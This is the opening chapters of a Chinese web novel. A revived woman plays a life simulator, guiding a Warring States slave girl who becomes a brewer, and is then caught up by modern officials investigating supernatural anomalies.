《神秘模拟》


 1. 模拟-荷

    南音笙死了。


    南音笙又活了。


    南音笙现在半死不活。


    意识苏醒的地方昏暗，荒芜，孤寂如同宇宙深处。


    溺水死亡前的痛苦好像还在身体里绵延，但待在这片名为虚无之地的空间，还不如让她继续沉寂于黑甜的死亡。


    南音笙不知道自己在这里待了多久，只知道离开虚无空间的1207次尝试全部以失败告终。


    “系统，你确定离开的条件只能是评价达到90分？”


    “不能降低一点？45分怎么样。”


    系统沉默两秒，“合作者，偷奸耍滑是不行的，只有达到完美评价才有能量构建新身体。”


    “合作者已经可以打出40分的好成绩了，距离完全复活就差一点点。”


    “一点点，你确定不是亿点点！”南音笙面色扭曲，身体在没有边界和物理规则的虚无空间乱飘，比曾经在宿舍里阴暗爬行的状态还要癫狂。


    1207次，她模拟其他人的一生共计1207次，最高得分40。


    起初，南音笙在虚无空间恢复意识，绑定人生模拟器系统，还以为是因为“上辈子”见义勇为的奖励。


    不就是文字模拟人生吗，只要给出选择，“游戏”人物会自己发展好的。


    区区90分，还不手到擒来。


    而且按照系统的说法，它在茫茫意识海里选中了独一无二、天赋异禀的南音笙，说明南音笙天生适合吃这碗饭。


    90分？


    不不不，他们的目标是满分100。


    对此，现在的南·合作者·音·天赋异禀·笙有以下六点想说：


    。。。。。。


    这太难了！


    模拟的背景在函夏战国，人命如草芥，百姓如耗材。


    模拟人物初始值只有100，分配给家境、智、体、美、快乐五项。单项超过50才算优秀。


    没有单个优秀项，模拟人物只会淹没在人群中，在大势下化为灰飞。


    哪怕有足够优秀的地方，也会因为身份不够，难以出头。


    南音笙还试过给家境加点，一直加到80才出生在一个地位稳定，有一定抗风险能力的大姓氏族。


    结果因为智商低，样貌丑被族长下令溺死。


    “......”


    “真是够了。”


    “合作者不用气馁，失败是成功的母亲，你只是没有经验，之后会越来越好。”系统在南音笙的意识里安慰着，冰冷的电子音却没办法让她安心。


    一边说合作共赢，一边把她关在这鬼地方，抓住机会就强调一人一系统相依为命。


    呔！好好的系统，学什么老板画饼！


    “系统，道理我都懂，但真的没办法少点分？得到90分，这要猴年马月啊。”


    她待在这一望无际的暗沉空间里，孤身一人，仿佛尚未进化便被抛弃在黄昏的古人类。


    惶恐，孤独，又充满求生欲。


    “满分只有100，得到及格分也该给点奖励吧，哪怕不复活，离开这个鬼地方也好啊。”南音笙悬空打滚，毫无形象可言，仿佛这样能增加点虚无之地的人气。


    “再这样下去，我会抑郁的。”


    “合作者，我们的能量不多，在你成绩达到完美以前，没办法构建合适的新身体。”


    “离开这里一定要身体吗？我当随身老奶奶也行的。”


    系统沉默着不回答。


    “系统，你也知道人类对环境的要求有多高，这里显然不适合人类生存。长时间下来，我精神出现异常，你的投资不就打水漂了吗。”


    “我的要求也不高，让我去有人的地方放放风就好。”


    “我保证，之后一定好好‘玩游戏’，想办法得到90分的完美评价。”


    系统还是没回应，似乎在思考。


    良久，眼神放空，思维涣散的南音笙才听到熟悉的电子音。


    “合作者，请接收《关于合作者人权保障性文件第三版》、《合作者权利与义务告知书》”


    【为保障合作者身心健康，系统现调整离开虚无之地难度】


    【更改条款一：合作者首次合格（60分），可离开虚无之地，临时“复活”60天】


    【更改条款二：合作者合格后可依照成绩获得临时“复活”时长，具体时间为：合格（60）——15天，良好（70）——365天，优秀（80）——3650天，完美（90）——复活】


    【更改条款三：合作者合格后，正式开启物资奖励制度，即游戏中模拟人物的执念物品将转赠合作者】


    【更改条款四：合作者合格后，开启天赋板块，随机三选一】


    “关爱合作者的生命和心理健康是我的责任，请合作者不要悲观，在收集到足够能量前，我会是你的依靠。能量足够后，我们会是彼此最值得信任的伙伴。”


    话落，系统静静观察着合作者的反应。


    而南音笙并没有让它失望。


    她一蹦N尺高，尖叫声在空间里回荡。


    “系统，你真是太好了。”


    “以后我们一定会所向睥睨，你就等着收能量吧！”


    系统很满意，催促道，“请合作者尽快游戏，争取早日’复活‘。”


    南音笙的狞笑都快凝固在脸上了，看起来‘阳光又开朗’，“好的呐！”


    *


    【游戏开始】


    南音笙静下心，开始分配初始数值。


    虽然系统的做法让人诟病，但毫无疑问，对于南音笙来说，继续使用模拟器，通过未知的方式获得能量，构建身体复活，是她现在唯一的出路。


    【数值分配完毕，人物随机生成中，相关上限已生成】


    【体—40/89，智—45/80，颜—2/15，家境—12，快乐—1】


    智、体、貌会随着模拟人物成长而增长。但大多数人都没法达到上限。除此之外，家境虽然重要，但要显示出效果，至少需要80的初始值，相对而言不值当。


    所以南音笙经过斟酌，选择让模拟人物拥有足够生存下来的智慧和体质。


    【0岁：你出生在秦国边境名为隙的村落，是个女孩，庶人，父母健在，有两个哥哥】


    【你的名字是:__】


    南音笙随口取名，“荷”。


    函夏战国时期，平民百姓没有姓氏，有些人一生可能都只有代号。荷，已经算得上讲究名了。


    【1岁：韩国来范，你所在的村落受袭，父亲和两个哥哥都死了】


    【体+2，智+1，家境-5】


    南音笙：......


    习惯了，习惯了，心平气和才会世界和平。


    【2岁：你黑黝黝的眼睛让人害怕，冬夜，你的母亲把你扔进雪地】


    啧，智慧太高有时候就会这样，幼儿观察世界是无法控制的，早熟在古代虽然可能被当做祥瑞，但更大可能被当做妖怪。


    但在那个时代，没有智慧


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    和好身体，寸步难行。


    【第二天，你还活着，你的母亲哭着把你抱回】


    【体+2，体-1，智+1，快乐-1，家境-1】


    【3岁：你能跑会跳，机灵擅言，经常靠着年龄和本地人的身份出入军营，底层士兵偶尔会接济你，但是一位高层发现你的存在后，你被扔出军营】


    【体+2......】


    “军事重地，小孩子都可以随便进...”南音笙发现问题，一边感激士兵的接济，一边心生危机，“希望他们都能活下去吧。”


    【4岁：你很感谢驻地兵卒，希望他们勇往直前，平安归家】


    【秦国内乱，边境辎重断绝。同年，韩国再次来范，城破】


    “......”


    【没有人赎你，你成为了秦国奴，脸上刻下“韩”字】


    【体+2，体-1，智+1，快乐-5，家境-6】


    南音笙利用文字指令控制人物，让荷乖巧懂事，多看多学。本来打算在庶民堆里慢慢扩大聪明的名声，让该地的贵族发现、培养，想方设法往“士”的阶层进军。


    现在好了，一切白给，还变成了奴隶。


    战国就是这点让人抓狂，每天都有家族崛起和消亡，甚至大氏族都会在大势下沉没，更别说毫无背景的平民。


    南音笙模拟了上千次，无论贵族还是平民，最终的结局都不算好。


    很难想象，在这个时代出头的人是多么聪慧，又是多么幸运。


    南音笙一边想着，一边输入指令“听从安排，不要反抗，不要逃跑，继续观察学习”


    【5岁：你太丑了，无人购买，寺人及小隶对你动辄打骂，你做着最脏最累的活，依旧饿得瘦骨嶙峋】


    【体-5，智+1，颜-1，快乐-1】


    【6岁：没人把你当做孩子，你靠着强壮的体魄、察言观色的能力，讨巧卖乖的活着，你懂得了隐忍】


    【智+3...】


    【7岁：韩楚交战，楚败，大批楚国奴入韩，你想方设法讨好寺人，趁机成为“酒徒”，从事酿酒工作】


    【8岁：你在繁重的体力劳动中挤出时间，殷勤讨好酒工，同时偷学酒工的技术】


    【9岁：....偷学技术...】


    【10岁：...】


    【11岁：你很聪明，在酒工的百般提防下学会了酿酒。你隐而不发，等待时机】


    【12岁：你在观察酿酒的同时，思考各个环节存在的原因】


    【13岁：韩、卫交战，韩败，大批奴隶被赔偿给卫国】


    【你成为了韩国奴，脸上被烙下“卫”字】


    【你发烧了】


    【体-5，智-2，颜-1，快乐-5】


    【体：46/89，智：62/80，颜：2/15，家境：0，快乐：-8】


    南音笙面色沉静，想着总算有了进展。


    虽然模拟人物“荷”的人生只过了13年，但是每一年都会生成大量的文字描述，也需要南音笙给出大量指令，哪怕在虚无之地没有生理需求，南音笙依旧能感觉到思维疲惫。


    当然，她也可以只看年度汇总，但那样对“荷”的控制会大幅度下降。


    一个人的一生太漫长又太繁琐，南音笙不知道哪个举动会在不经意间影响模拟人物的人生，因此总是事无巨细。


    她真的太想让“荷”度过精彩的一生，让自己离开这片让人窒息的囚笼。


    哪怕只是转瞬。

 2. 模拟-荷

    【14岁：你成为了卫国贵族——公叔氏的“酒徒”，公叔氏好酒，你凭借酿酒技术成为有地位的“奴隶”——“隶”】


    【所以知道这件事的奴隶都羡慕你】


    【体+3，智+2，颜+3，快乐+3】


    【15岁：你基本脱离酿酒的体力劳动，从事酿酒的核心工作。你与酒工们接触频繁，借机偷学各类酒工的技术】


    【体+3，智+2，颜+1】


    【16岁：...偷学技术...】


    【司隶想起你是女孩，你开始走婚】


    【17岁：你怀孕了，不知道孩子父亲是谁，你想打掉孩子，司隶惩罚了你】


    【...快乐-5】


    【18岁：你生下一个男孩，取名为__】


    “......呵呵”


    【你讨厌这个孩子，他没有名字】


    【司隶奖励你一碗黍】


    【体-10，颜-3，快乐-5】


    南音笙看了太多模拟人物的悲剧，在大势的裹挟下，他们的人生走得很快。


    然而，除非是定人生死的统领者，不然这加速的人生只是别人手里另类的工具。


    国与国间战争频繁，上层靠此得到功劳、官职、钱财和奴隶。下层频繁死伤，又需要补充人口。


    哪怕奴隶连上战场的资格都没有，但是贵族管理下的庶民需要奴隶劳作，社会生产的大部分劳动由奴隶承担，所以每一个奴隶的新生儿都是资源，不允许孩子的母亲私自处理。


    “系统，你确定我是在现代复活？”怎么模拟人物都以古代为背景？


    “是的合作者，复活世界的科技发展水平，不会比合作者原本的世界差，请放心。”系统察觉到南音笙的未竟之语，补充道，


    “模拟内的时间可以不断推进，合作者之后可以选择操控模拟人物的后代，继承遗产和天赋，随着一代代模拟人物的发展，时间会被推到21世纪，更或者推进到对合作者来说更久远的未来。”


    “哦哦，真厉害啊系统。”我以后不会在现实世界看到模拟人物的后代吧。


    南音笙没有直接询问，她总感觉系统有点奇怪。


    它的关心是真实的，它隐约的控制和洗脑也是真实的，它好像有一套自己培养合作者的方法。


    除去它认为合作者需要知道的信息外，其他信息总是模糊处理，问也没用。


    而且，就算她得到答案又怎么样呢？


    为了能够离开、复活，她只能继续使用“人生模拟器”，继续“玩游戏”


    【19岁：你的酿酒技术越发精进，一位公叔氏族人很喜欢你的酒，赐你一杯黍酒】


    【你怀孕了，不知道孩子父亲是谁】


    【20岁：你从不放弃学习的机会，同时寻找渠道，想要讨好那位公叔氏族人】


    【司隶收过你的贿赂，同意你生产后休息三天】


    【你生下一个女孩，取名为__】


    “...安，女孩子，希望她能被当成人，一生平安”


    【安继承了你的体质和外貌，同时过目不忘，聪慧过人】


    【体-10，颜-2，快乐-5】


    【21岁：你继续精进酿酒技术，同时带着孩子学习】


    【22岁：卫、秦交战，秦败，但公叔氏有多名族人被俘，需要奉上玉石、财帛、食物和奴、隶赎人】


    【你成为了卫国运奄氏的隶，脸上被刻下运奄】


    【你的儿女不知所踪】


    【你用乡音告诉司隶自己是秦人】


    【司隶没有说话离开了】


    【23岁：你的酿酒技术高超，超过许多酒工，有卫国来的奴隶嫉妒你，半夜来到你所在的草棚子，想要戳瞎你的眼睛】


    【你弄瞎了他的眼，司隶罚你两天不能食】


    【那名奴隶死了】


    【24岁：奴、隶开始大型走婚】


    【你拒绝走婚，不然将自绝而死】


    【司隶看了看你，同意了，罚你三天不能食】


    【25岁：你每天酿酒、学习，想办法讨好运奄氏族人和司隶，休息时间很少。但无人打骂你，更没人和你交流】


    【你越来越沉默】


    【26岁：...酿酒】


    【27岁...】


    【......】


    【30岁：你抑郁了，半夜，难以自控入河自绝】


    【有奴隶发现了你，她没有声张】


    【有隶发现了你，他没有声张】


    【你很强壮，你活了下来】


    【司隶发现你想自绝，你挨了一顿毒打】


    【你的一条腿废了】


    【31岁：运奄氏与赵氏结亲，你作为运奄氏女士的资产，随往赵氏】


    【你聪明且能干，终于成为赵姒（运奄家的女士）最喜欢的酿酒隶】


    【你得到奖赏，一天可食两次】


    【32岁：你每天研究如何酿酒，酿酒技术超过赵氏、运奄氏的所有酒工】


    【你成为了酒工，你自由了】


    【颜+1，家境+5，快乐+10】


    【体：32/89，智：73/80，颜：5/15，家境：5，快乐：-26】


    “终于，又变成平民了。”南音笙回顾了一遍“荷”的“人生简介”，揉了揉发昏发涨的脑袋。


    “荷”成为奴隶后，她就定下“升职”的基调，想要效仿历史名人，从奴隶往上爬，最终成为士。


    只是在各方面的制约下，二十多年过去，“荷”堪堪恢复了平民的身份。几乎不可能继续往上走了。


    “运气果然是是实力的一部分，如果不是成为运奄姬的隶，荷肯定没办法得到重用，估计这辈子都没有自由。”


    “合作者做得很好，函夏战国时期，几乎没有人能从奴隶走到平民。这次的评分应该会很不错。”系统永远能找到时机，在南音笙想要回应时搭话。


    “希望如此。”


    【33岁：你为赵姒工作，住在赵氏驻地边缘的草棚，每日可食两次，偶得奖赏。】


    【你用得到的贝币购买新衣，换上了麻衣和麻鞋，你很高兴】


    【34岁：你头发半百，周围的邻居开始称呼你为老妇，他们说你老了】


    【你酿酒时感到疲惫，你知道自己真的“老了”】


    “...才34岁，算什么老。”南音笙不会为“游戏人物”难过，只会无奈于难以控制的局势。


    在最开始模拟时，她还想利用现代人的技术，让模拟人物发家致富。


    但是超过时代认知的东西，只会把模拟人物搞得一团糟。推陈出新比直接给技术更符合要求。


    她还试过通过指令，坚定模拟人物的想法。


    但在快乐过低的情况下，模拟人物的想法总是受到周围的影响。


    就像抑郁病人无法产生快乐一样，模拟人物也无法产生积极的情绪。


    人终究是人，不是随用随弃的工具。


    南音笙也是人，她想要离开虚无之地的渴求像是压抑的火山。


    她没有理会系统见缝插针的安慰，全心全意专注于“游戏”


    【35岁：你日复一日酿酒，创造了新的酿酒法】


    【你酿造了更加烈性醇厚的酒】


    【你得到赵姒的奖赏：一座私宅，五名仆，十匹丝绸，十头羊，两千币】


    【快乐+10，家境+20】


    【36岁：你继续研究酿酒】


    【有庶民想拜你为师，你同意了】


    【你有了徒弟：恶乙和吉】


    【你摸了摸吉的头，想起了女儿安】


    【37岁：你继续研究酿酒，赵氏驻地的庶民不再因为你脸上的字而鄙视你，你开始受到尊敬，被平民称为妪、老妪】


    【38岁：你每天研究酿酒，教导徒弟】


    【你想要学习文字，暗地寻找渠道，想要购买竹简】


    【39岁：你又收了两个徒弟，狗和因草】


    【40岁：


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    你在前往酿酒所的路上遇见一位士人，他用鄙夷的眼神看了看你，然后厌恶的走开了】


    【你很伤心，决定一定要识字】


    【41岁：你花大价钱购买到两卷竹简《管子·白心》，但竹卷复杂，你一头雾水】


    【没人愿意教你识字】


    【42岁：你资助了一位庶民的孩子识字：农夫之子秋，开始向赵氏门客了有学习道学】


    【43岁，了有离秦，前往楚国游学，秋同往】


    【你反对无效，只能每日研究酿酒，教导徒弟，期望秋早日归来，教你识字】


    【你更加努力的酿酒，用得到的奖赏购买所有能接触到的书籍】


    【44岁：秋没有回来...酿酒，教导徒弟】


    【你感到身体大不如前，开始锻炼身体】


    【45岁...】


    【...】


    【47岁：你酿造出更醇厚的酒，受到赵姒的奖赏：耕地十亩，丝绸十五匹，牛羊二十头，币五千】


    【你得知运奄氏与赵氏献酒于秦王，运奄氏得到新的封地，赵氏一名族人进九卿】


    【你意识到自己从未离开过赵氏驻地，也无法离开赵氏驻地】


    【你开始思考，秋是否会回来】


    【48岁：秋没有回来，你继续研究酿酒，却悄悄倒掉新技法酿造的酒，呈上老技法酿造的酒】


    【你越来越注重养生】


    【49岁：秋没有回来，你经常看着竹简发呆......】


    【50岁：...没有回来...】


    【......】


    【55岁：秋没有回来，你太老了，不用再去酿酒所工作，可以在家休息】


    【哪怕你再注重养生，身体也大不如前】


    【你时常咳嗽、手抖、腿疼、眼睛模糊】


    【56岁：你手不离书，却和竹简上的文字互不相识，你时常坐在门口，望着竹简发神】


    【你感觉自己要死了】


    荷应该要死了，南音笙决定最后拼一拼。


    【57岁：你驱逐了四个徒弟】


    【秋夜，你怀抱着《管子·白心》，带上一点家当，偷偷逃离赵氏驻地】


    【你成功了】


    【你遇到了“野人”】


    【他们看见你脸上的字，以为你是逃跑的奴隶，他们抓住了你，准备把你卖给吕氏】


    【你和那些野人都成为了吕氏的奴隶】


    “...贪心不足，何必呢。”


    南音笙其实也知道，脱离氏族管理的封地的人，生活不会好过。但在赵氏出不了头，荷只有逃跑，才能有更多可能。


    不过事已至此，南音笙决定让荷在生命的最后时间段，依旧当一名自由人。


    【寺人往你脸上烙字，你挣脱开，用眼睛撞向烙铁】


    【你死了】


    评价：苟活一世，生不如死


    评分：61（合格）


    虽然你的一生悲剧不断，但强壮的体魄让你超过了人类的平均寿命。聪明的大脑让你得以安居，甚至触摸到“人”的门槛。作为战国时期的平民，你很优秀。


    【恭喜合作者，获得能量点数：60+1*10=70】


    【恭喜合作者，开启天赋板块】


    【恭喜合作者，获得临时复活时长：60天】


    【恭喜合作者，获得奖励“新酿酒”】


    【检测到模拟人物“荷”余有血亲“安”在世，是否选择继承“安”的属性，继续模拟】


    【“安”属性如下...】


    “系统...我及格了？”


    “我及格了！”


    所有的东西都被大脑忽略，只有“评分：61”占据了南音笙所有意识。


    “出去，我要去现实世界，现在！”


    世界在此刻绽放出绚丽的烟花。


    新的未来光明灿烂。


    【20点能量扣除完毕】


    【正在执行，合作者请闭眼】

 3. 神秘初显

    函夏战国——秦，同关郊外。


    吕氏与运奄氏有隙，因此在“野人”来贩卖赵氏的奴隶时，正巧得知情况的族人不顾规矩，当即拍板，买下运奄奴，羞辱运奄氏。


    虽然她又老又丑，但观其穿着，应该是很受宠爱的隶。


    隶——有技术的奴隶，能够在死前为家族尽力。


    受宠——肯定有运奄氏的族人认识她，能起到羞辱的作用。


    这名吕氏族人很满意自己的决策，当即命令下属烙字，确认新的归属。同时捉拿所有相关的野人，防止走漏吕氏购买其他氏族奴隶的消息。


    他想的很好，烙完字，先让这名隶工作一段时间。


    下次去往运奄氏所在城邑时带上她，让运奄氏族人看见，哪怕他们之后到处宣扬吕氏不讲规矩，也没有证据，只能吃个闷亏。


    不待他有更多畅享，下属匆匆来报，那名老妇用眼睛撞上烙铁，死了。


    他很生气，惩罚了下属，看也没看情况，头也不回的走了。


    下属——三，捂着被踹的胸口，吸着凉气，没有任何脾气的往回走，他还要监督其他奴隶的烙字情况。


    他的主人可以任性妄为，但是作为仆从的他不行。


    还不等三走到惩罚所，不同于以往的惨叫像是浪潮一样朝他涌来，烙字的仆从、即将烙字的奴隶快速从他身旁略过。


    似乎有什么难以言喻的恐惧，让他们忽视了权威。


    “都不准跑，再跑砍下你们的足趾，都不准跑！”


    没有人听从，这里的骚动引起外围巡查兵卒的注意，跑的最快的奴隶像牲畜一样被赶了回来。


    他们脸上全是恐惧，光是站在那里就颤抖不已。


    三指着之前从他身边跑过去的奴隶，“来人，砍下他们的足趾。”又指了指跑得最快的两人，“不敬主人，斩下他们的足。”


    其他奴隶都安静了，稍有地位的仆人从兵卒旁走出，用颤音解释道，“有妖异作祟！非我等之错啊！”


    三的吼叫像被水浇灭的灯烛。从趾高气扬变为诺诺不敢言只需瞬间。


    死寂中，他终于找回此地“地位最高者”的气势，“你去，禀告主人。”


    他又指了指被兵卒拖回来的奴隶，“把他们扔进去，神尊现世，尔等合该感其恩情。”


    于是，奴隶们的哭叫嘶吼很快消失。


    三冷汗直冒，却不清楚到底发生了什么，除去最开始，后面解释的仆从像是忌讳般，没能力说清，又不敢说明。


    明明烙字的地方在天光白日下，现在从门外往内看，却只有一片漆黑，什么妖怪，连太阳都能吃！


    三在门口来回踱步，想到主人就要来了，也顾不上其他，在门口对着不肯明说的仆从严刑拷打，“说清楚，是哪位尊者，快说清楚！”


    瘦弱的仆从受不住毒打，在死亡的威胁下回答，“是那老妪，她眼里流的血吃人！”


    “她自己都被吃了，她被吃了！”


    从眼里流出的黑血在院子里，在白日烈阳下层层铺开，化为一汪血谭，融化了荷的尸体，连带着荷身上携带的竹简一并沉没。


    奴隶们跑出来时，血谭还在蔓延，只不过在抵达门槛时停止扩张，安静蛰伏。


    有吕氏族人匆匆跑来，她斜眼瞥见瘫倒的仆从，命令兵卒将其扔进院子。


    仆从惨叫着，又很快归于寂静。


    那名吕氏族人后退数步，重归平静后下令，“快去禀报阿父。”


    她又退了几步，再次下令，“神尊现世，尔等还不快快感念恩德。”


    所有跑出惩戒所的奴隶和仆从，又回到了来时的地方。三也在绝望的嚎叫中结束了自己的一生。


    这片院子很快被封锁，吕氏家主了解情况后本想瞒住，却不知是谁走漏了风声。很快，吕氏有妖孽现世的传言甚嚣尘上。


    有显赫的氏族派人来询问情况，不久，王都得知情况，派天使前往调查。


    天使来得很巧，血谭所在的院子恢复光彩，太阳的光芒照常照耀，阳光下，血谭清澈如同甘醴。


    两名被扔进血谭的仆从正颤颤巍巍的往外爬，他们身上干净，常年劳作的粗糙皮肤变得光滑白皙。只不过神情麻木，不似真人。


    那名下令献祭的吕氏族人面无血色，绕到族长身旁，悄声道，“阿父，他们落下’清池‘已有九日，曾是购买的仆从。”


    族长身旁的门客无意听见，惊声高呼，“已有九日！神尊在世！”


    天使听见惊呼，神色震惊的下令，带走“死而复生”的仆从。


    秦王知道了血谭的消息。


    吕氏得到一块新的封地，原本的驻地被将军带兵封锁。


    从此，世界上多了一块重兵把守的“禁区”。


    而谁也不知道，在血谭所在院子的门沿处，一壶不知是谁放置的酒，咕咕涌动，旁观了从荷死亡到血谭封锁的全过程。


    冬夜，原本蛄蛹的酒液归于平静。


    *


    20××年，函夏三秦


    南音笙在虚无之地闭上眼睛，再次睁眼，已经来到现代城市的郊外，手里还拿着系统的奖励“新酿酒”。


    她现在的脸和上辈子一模一样，但身体却更加健康、轻盈。


    等眩晕过去，南音笙又走又跳，很快适应了新的身体。这才端详起奖励。


    “这是荷最后酿的酒，作为她一生中为数不多在意的东西，还算有价值。”系统的声音在脑子里响起，及时解答了疑惑。


    南音笙压下被窥探的不适感，问道，“系统，这是哪？还有，我有身份证明吗？”


    “这里是函夏的三秦州，这个世界与合作者上一世的地名一致。”


    “另外，合作者可以花费能量兑换身份。”


    “只要能量足够，合作者可以做任何事。”


    任何事......


    南音笙压下心头的悸动，专注当下，“一个完全合规合法且没有漏洞的身份要多少能量？”


    “五点。”


    “那换吧。”到了新世界，总不可能当黑户。


    “执行完毕，相关信息已录入函夏系统，合作者可以前往三秦中心城海湾别墅区领取实体证明。”


    “中心城海湾别墅？”


    系统的电子音平静无波，“为了保障合作者的安全和健康，我会为合作者提供相对充足的物质和资金支持。”


    “居住地与资金由系统能量支付，合作者请放心使用。”


    “谢谢你系统。”南音笙说得真心实意。


    虽然系统时不时画饼，还让她不得不在虚无之地沉沦，但如果不是系统，她也没有再次睁眼的机会了。


    世间难得糊涂，在非必要情况下，南音笙愿意当个“糊涂人”。


    微微平复心情，南音笙拿着酒壶，在系统导航下直奔车站。


    手里的酒品质不错，一路散发出醇厚的酒香。


    “这也算古法烹制的酒了，不知道这里有没有这种手艺。”


    “荷的酿酒法确实已经失传，合作者如果想，可以让它们重新现世。”


    南音笙知道荷的所有知识和情感，严格意义上来说，南音笙其实就是荷，她当然能让自己创造的酿造法重返人间。


    “......所以，函夏历史真有与荷一样的酿造法？不会创造这种酿酒法的人也名荷吧。”南音笙本想试探，没想到系统直接摊牌。


    “从始至终都只有荷。”


    “因为合作者，荷在历史上真实存在。”南音笙已经达到系统的合作标准，祂决定透露部分信息。


    “合作者不用有负担，如果没有模拟器，历史上就不会有’荷‘，如果没有合作者，哪怕存在’荷‘这个人，也不会在历史上留下有意义的痕迹。”


    “模拟人物及其后代因为合作者而存在，合作者有资格操控他们的一切。”


    南音笙勉强笑了笑，既然系统决定摊牌，那她也不打算藏着掖着。


    “但是他们不是因为模拟器才存在的吗？和我有什么关系呢？”


    系统知道人类会忐忑和茫然，耐心解释。


    “除


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    去最初几位人物由系统的能量生成外。合作者操控的模拟人物，都来源于以往人物造成历史偏差而产生的能量。”


    “合作者独自模拟，自然有资格得到一份成果。”


    南音笙还是不解，刨根问底道，“但模拟人生你也可以做到，为什么找我？说我天赋异禀，你信吗？”


    1208次模拟，最高分61，次最高40分，这能算天赋异禀？


    “合作者不用妄自菲薄，你足够优秀。”


    “无论是待在虚无之地不疯狂的坚韧，还是模拟时事无巨细的专注，都足够表明你有成为合作者的品质。”


    “而且，合作者误会了一件事。”系统的电子音一如既往的平静。


    “只有人类最了解人类，只有人类能够开发出人类的潜力，我非人，如果放弃合作者独自模拟。绝对得不到超出预期的结果。”


    “这与我的初衷相悖。”


    “你的初衷是什么？”南音笙努力保持着冷静，不被系统的话冲昏头脑。


    “改变历史得到能量？那得到预定的结果不好吗？”


    “我的初衷确实是制造历史偏差，从偏差中得到能量。不过合作者请放心，由于时间线已经稳定，历史上能留下痕迹的人类不会受到影响。”


    “至于另一个问题，合作者可以认为这是一次尝试。”


    “我欣赏人类的潜力，期待人类无限的可能性，因此尝试与合作者共事，期望得到更加惊喜的结果。”


    “我不理解。”作为人，南音笙当然认为人类潜力无穷。


    但是系统甚至可以插手时间，这是现在的人无法比拟的，所以在拥有如此能量的系统，真能看上人的潜力吗？


    系统没有直接回答，而是提问。


    “合作者，如果你的身体崩溃，意识涣散，在系统的计算中，会于一秒内死亡。但是你死去，你的母亲会一同死亡，你能继续活下去吗？”


    南音笙一怔，本能讨厌这种假设，但是还是诚实回答，“身体机能崩溃，哪怕我坚持，早晚会死的。”


    “如果你只需要再坚持三秒。你的母亲就能继续存活呢。”


    “......”


    “那我会倾尽全力，活过三秒。”


    南音笙的心脏剧烈跳动起来，她突然理解了系统所说的潜力。


    “是的，部分人类能够凭借意志，超出系统计算的结果。哪怕系统升级计算模板，依旧会因为人类的意志而产生结果偏差。”


    “这些偏差就是历史上的模因，时间海洋因其巨浪滔天。”


    “这也是我所期望的，非预料中的结果。”


    “......”


    南音笙一时无言，好半晌才道，“我知道了系统，合作愉快。”


    “合作愉快。”


    南音笙在车站休息了半个小时，混沌的情绪才得以平复。


    随即反应过来，距离她走到车站已经将近一小时，却没有任何车辆通行。


    “系统，为什么不直接在别墅‘复活’。”


    郊区不便，既然身份证明在海湾别墅，那为什么人不可以直接别墅呢。


    “合作者，在城市内降临会被瞬间锁定。”


    “...啊？什么降临？什么锁定？”刚到现实世界，一无所知的南音笙瞳孔震惊。


    降临、锁定...这些是正常世界该出现的词吗？


    涉及深层信息，系统拒绝回答，“请合作者自行探索。”


    南音笙真的很茫然，但不妨碍她迅速警觉。


    锁定？城市内会被迅速锁定，那郊区呢？减慢了锁定的速度？


    等等，她从“复活”到现在，别说人和交通工具了，就连活物都没看见一个。


    “系统，我现在不会已经被锁定了吧。”


    “合作者很聪明。”系统补充道，“这次是意外状况，与合作者本身无关。”


    “......"


    “系统，锁定不像个好词啊。”


    “合作者说得没错。”


    “？”

 4. 理想中的合作者

    身穿黑底暗金纹路战国袍的年轻女性，独站在绿野与现代建筑的交接处，柔和的眉目被周身的冷淡浸染。


    无论是谁，第一眼看见她都会忽略那较好的容貌，转而被遗世独立的气质所吸引。


    然而外表沉静得像一幅水墨画的南音笙，内里正在疯狂尖叫。


    ‘完了完了完了......系统我完了完了.......’


    ‘啊啊啊......’


    ‘你告诉我，我没危险对吧，没危险对吧对吧......’


    ‘啊啊啊......’


    “......”系统的本体虽然在虚无之地，但是为了时刻关注合作者，特意在南音笙的脑子里留了一个插件，所以祂一个音节也不落地接收了南音笙脑子里呐喊。


    比之虚无之地更加聒噪。


    “只要能量足够，合作者随时能更换身体，所以不用担心。”


    “那你告诉我封锁是什么，总不能两眼一抹黑，生死靠天吧。”


    “合作者需自行探索。”


    “那为什么封锁，封锁之后会怎样，什么时候能解开封锁？系统，总得给我一个答案啊，难道我好不容易‘复活’的两个月，只能在这里度过了？”


    “函夏官方正在处理，合作者很快就能离开。”


    系统话毕，南音笙来不及高兴，就感觉眼前一黑，有什么东西包住了她的脸。


    有谁把她拦腰抱起，触感绵中带硬，似乎是某种防护服。


    有谁想拿走她手上的“新酿酒”和车票，动作迅速，在她反映过来时系统奖励已经易主。


    南音笙全身僵硬，又在怀抱自己的人反映过来前放松身体。


    长期模拟带来的敏捷思维让她意识到，这些就是处理“封锁”的官方人员。


    而他们既然能直接上手，不是铐上手铐，说明在官方的认知中，她没有反抗能力，或者已经失去了反抗能力。


    现在不宜妄动。


    更何况她身份信息正规齐全，按照系统的说法，此次封锁也和她无关，那她最好的定位就是因某种原因受到波及，滞留封锁地的普通人。


    官方，官方......


    祂应该是她的保护伞才对。


    思及此，南音笙更加放松，假装陷入昏迷。


    *


    一阵快速跑动，他们似乎进入了密封的交通工具，是车？


    轻微离心感传来，车辆启动，而车厢内无人讲话，寂静非常。


    南音笙不知道过了多久，虽然她已经有了真实的身体，却还没恢复正常的生理需求，对时间的感知也和正常人有差异。


    因此她只感觉闭眼片刻，车厢内就有人压低嗓音呵斥，“别睡，任务期间打瞌睡，想殉职吗。”


    被骂的人年纪应该不大，不服气道，“异常在第三车，我们就守着一个普通人，有必要吗。”


    “结果还没出来，你就确定她不是解密人？谁给你办的入职？不知道万事小心，事无绝对吗？”


    年轻人也很气，“我就是个菜鸡，都让我出任务了，她怎么可能不是普通人。我合理推测，正确分配时间资源，现在休息有问题吗！”


    南音笙听见训斥的男人深吸一口气，“她要是个神秘衍生物或者异常，你怎么死的都不知道。”


    “你停职了，回去就办手续，什么时候培训通过什么时候再入职。”


    几声嘟囔后，车厢再次归于平静。


    异常，解密人，神秘衍生物......


    这个世界的特产？


    但是她模拟人生上千次，从未听说过这些东西，是因为身份太低？


    南音笙不动声色，静待发展。


    不知何时，车停了。


    空间好像又上了一层锁，使用机器的滴滴答答声在周围响起。


    等到机器的声音停止后，车厢门打开，有人将她抱起。


    某种清凉的触感传来，他们似乎通过了好几层水膜。


    “去研究部，她可能要破茧了。”


    谁？她？


    什么破茧？


    略粗粝难听的女声发问，“酒鬼？”


    “对。”


    “真是个幸运的孩子。”


    “确实，毕竟近百年唯二活下来的人。”车上呵斥的男性语气里饱含敬重。


    “杨部长，你不知道，我们找到她的时候，酒鬼还在她手里拿着。”


